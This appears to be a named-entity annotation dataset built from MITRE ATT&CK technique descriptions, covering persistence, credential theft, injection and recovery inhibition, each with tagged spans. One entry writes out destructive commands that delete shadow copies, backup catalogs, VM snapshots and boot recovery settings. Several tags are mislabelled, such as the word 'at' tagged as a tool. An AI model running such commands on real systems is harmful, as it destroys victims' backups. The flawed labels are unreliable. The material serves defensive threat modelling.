{"text": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "spans": {"SYSTEM: Microsoft Office": [[26, 42]], "SYSTEM: Office": [[44, 50], [120, 126], [240, 246], [389, 395], [464, 470], [536, 542], [612, 618], [690, 696], [823, 829]], "SYSTEM: Registry": [[57, 65], [132, 140], [276, 284], [415, 423], [514, 522], [748, 756]], "ORGANIZATION: Microsoft": [[314, 323], [602, 611], [680, 689]], "SYSTEM: Word": [[851, 855]], "SYSTEM: Excel": [[859, 864]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137.002"}}
{"text": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1587"}}
{"text": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy", "spans": {"SYSTEM: Active Directory": [[58, 74], [604, 620]], "FILEPATH: %SystemRoot%": [[290, 302]], "SYSTEM: Windows": [[689, 696]], "TOOL: ntdsutil": [[703, 711]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.003"}}
{"text": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages. The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.", "spans": {"SYSTEM: SNMP": [[168, 172], [262, 266], [479, 483], [785, 789], [835, 839]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1602.001"}}
{"text": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1001.002"}}
{"text": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.001"}}
{"text": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "spans": {"SYSTEM: API": [[325, 328], [1271, 1274], [2120, 2123], [2356, 2359], [2420, 2423], [2629, 2632]], "SYSTEM: AWS": [[1641, 1644], [2296, 2299], [2352, 2355]], "SYSTEM: GCP": [[1649, 1652]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1550.001"}}
{"text": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.", "spans": {"SYSTEM: LSASS": [[30, 35], [502, 507], [552, 557]], "SYSTEM: Windows": [[94, 101]], "SYSTEM: lsass.exe": [[509, 518]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.008"}}
{"text": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and Net.\n\nPsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.", "spans": {"SYSTEM: Windows": [[26, 33], [105, 112], [424, 431], [812, 819]], "TOOL: Net": [[346, 349]], "TOOL: PsExec": [[352, 358], [503, 509]], "SYSTEM: API": [[484, 487]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1569.002"}}
{"text": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.\n\nService or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.", "spans": {"SYSTEM: Access": [[97, 103], [1454, 1460], [2132, 2138]], "SYSTEM: Windows": [[554, 561]], "SYSTEM: Active Directory": [[562, 578]], "SYSTEM: API": [[1832, 1835]], "SYSTEM: Azure": [[1870, 1875], [1913, 1918], [1962, 1967], [2077, 2082]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078.004"}}
{"text": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1480.001"}}
{"text": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1008"}}
{"text": "Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform Lateral Movement, or as a precursor to Direct Volume Access. \n\nOn ESXi systems, adversaries may use Hypervisor CLI commands such as `esxcli` to list storage connected to the host as well as `.vmdk` files.\n\nOn Windows systems, adversaries can use `wmic logicaldisk get` to find information about local network drives. They can also use `Get-PSDrive` in PowerShell to retrieve drives and may additionally use Windows API functions such as `GetDriveType`.\n\nLinux has commands such as `parted`, `lsblk`, `fdisk`, `lshw`, and `df` that can list information about disk partitions such as size, type, file system types, and free space. The command `diskutil` on MacOS can be used to list disks while `system_profiler SPStorageDataType` can additionally show information such as a volume’s mount path, file system, and the type of drive in the system. \n\nInfrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as `describe volume` in AWS, `gcloud compute disks list` in GCP, and `az disk list` in Azure.", "spans": {"SYSTEM: Access": [[261, 267]], "SYSTEM: Windows": [[417, 424], [615, 622]], "TOOL: wmic": [[455, 459]], "TOOL: PowerShell": [[560, 570]], "SYSTEM: API": [[623, 626]], "SYSTEM: Linux": [[662, 667]], "TOOL: mount": [[990, 995]], "SYSTEM: AWS": [[1175, 1178]], "SYSTEM: GCP": [[1211, 1214]], "SYSTEM: Azure": [[1238, 1243]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1680"}}
{"text": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.  Within MFT entries are file attributes,  such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).    \n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.004"}}
{"text": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force. \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. \n\nThis same behavior could be executed using service tickets captured from network traffic.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.", "spans": {"SYSTEM: Kerberos": [[30, 38], [306, 314], [477, 485], [539, 547], [716, 724]], "SYSTEM: Windows": [[263, 270]], "TOOL: at": [[353, 355]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1558.003"}}
{"text": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)    to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket or change an account's password as noted in Account Manipulation.\n\nDCSync functionality has been included in the \"lsadump\" module in Mimikatz. Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.", "spans": {"SYSTEM: Windows": [[91, 98]], "SYSTEM: API": [[154, 157]], "SYSTEM: Active Directory": [[434, 450]], "TOOL: Mimikatz": [[788, 796]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.006"}}
{"text": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS. These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.\n\nSystem time information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.\n\nOn network devices, Network Device CLI commands such as `show clock detail` can be used to see the current time configuration. On ESXi servers, `esxcli system clock get` can be used for the same purpose.\n\nIn addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices. On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.\n\nThis information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job, or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.", "spans": {"SYSTEM: Windows": [[156, 163], [180, 187], [475, 482]], "SYSTEM: macOS": [[219, 224], [1190, 1195]], "TOOL: Net": [[468, 471]], "FILEPATH: \\\\hostname": [[512, 522]], "SYSTEM: Linux": [[1172, 1177]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1124"}}
{"text": "Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with at by directly leveraging the Windows Management Instrumentation `Win32_ScheduledJob` WMI class.\n\nOn Linux and macOS, at may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke at. If the <code>at.deny</code> exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.\n\nAdversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via <code>sudo</code>.", "spans": {"TOOL: at": [[26, 28], [122, 124], [211, 213], [330, 332], [501, 503], [556, 558], [674, 676], [749, 751], [784, 786], [831, 833], [898, 900], [934, 936], [951, 953], [1001, 1003], [1108, 1110], [1133, 1135], [1156, 1158], [1215, 1217], [1427, 1429], [1561, 1563]], "SYSTEM: Windows": [[164, 171], [302, 309]], "SYSTEM: Linux": [[173, 178], [657, 662], [1380, 1385]], "SYSTEM: macOS": [[184, 189], [667, 672]], "TOOL: schtasks": [[290, 298]], "SYSTEM: Task Scheduler": [[351, 365]], "SYSTEM: Windows Management Instrumentation": [[586, 620]], "TOOL: WMI": [[642, 645]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.002"}}
{"text": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).  \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>). \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[459, 466]], "SYSTEM: API": [[467, 470], [642, 645]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.001"}}
{"text": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).", "spans": {"SYSTEM: Access": [[1429, 1435]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1588.005"}}
{"text": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "spans": {"SYSTEM: LSASS": [[245, 250]], "SYSTEM: Security Accounts Manager": [[268, 293]], "SYSTEM: SAM": [[295, 298]], "SYSTEM: Windows": [[303, 310]], "SYSTEM: Unix": [[354, 358]], "SYSTEM: Outlook": [[981, 988]], "SYSTEM: Access": [[993, 999]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556"}}
{"text": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.", "spans": {"SYSTEM: Linux": [[113, 118]], "FILEPATH: /etc/udev/rules.d/`": [[597, 616]], "FILEPATH: /run/udev/rules.d/`": [[619, 638]], "FILEPATH: /usr/lib/udev/rules.d/`": [[641, 664]], "FILEPATH: /usr/local/lib/udev/rules.d/`": [[667, 696]], "FILEPATH: /lib/udev/rules.d/`.": [[703, 723]], "FILEPATH: /dev/random`": [[1050, 1062]], "SYSTEM: systemd": [[1164, 1171]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.017"}}
{"text": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.", "spans": {"SYSTEM: Windows": [[26, 33], [403, 410]], "SYSTEM: API": [[69, 72], [181, 184], [330, 333], [746, 749], [833, 836]], "SYSTEM: Linux": [[88, 93], [873, 878], [955, 960]], "SYSTEM: macOS": [[883, 888], [990, 995]], "SYSTEM: SSH": [[1195, 1198]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.004"}}
{"text": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system. Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable. Depending on the device, this attack may also result in Data Destruction.", "spans": {"SYSTEM: BIOS": [[73, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1495"}}
{"text": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact. Furthermore, adversaries may disable recovery notifications, then corrupt backups.\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* Windows Management Instrumentation can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code>  \n\nOn network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support Data Encrypted for Impact, preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).\n\nAdversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services. In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.", "spans": {"SYSTEM: Windows": [[600, 607], [1009, 1016], [1141, 1148], [1376, 1383]], "TOOL: vssadmin": [[704, 712], [791, 799]], "SYSTEM: Windows Management Instrumentation": [[840, 874]], "TOOL: wmic": [[926, 930]], "TOOL: cmd": [[2053, 2056]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1490"}}
{"text": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.", "spans": {"TOOL: netsh": [[352, 357], [480, 485], [605, 610], [768, 773]], "SYSTEM: Windows Registry": [[395, 411]], "TOOL: at": [[412, 414]], "ORGANIZATION: Microsoft": [[435, 444]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.007"}}
{"text": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "spans": {"TOOL: at": [[422, 424]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.003"}}
{"text": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", "spans": {"TOOL: HTRAN": [[230, 235]], "SYSTEM: SMB": [[685, 688]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090.001"}}
{"text": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.", "spans": {"ORGANIZATION: Microsoft": [[120, 129], [176, 185]], "SYSTEM: Windows": [[204, 211]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1216"}}
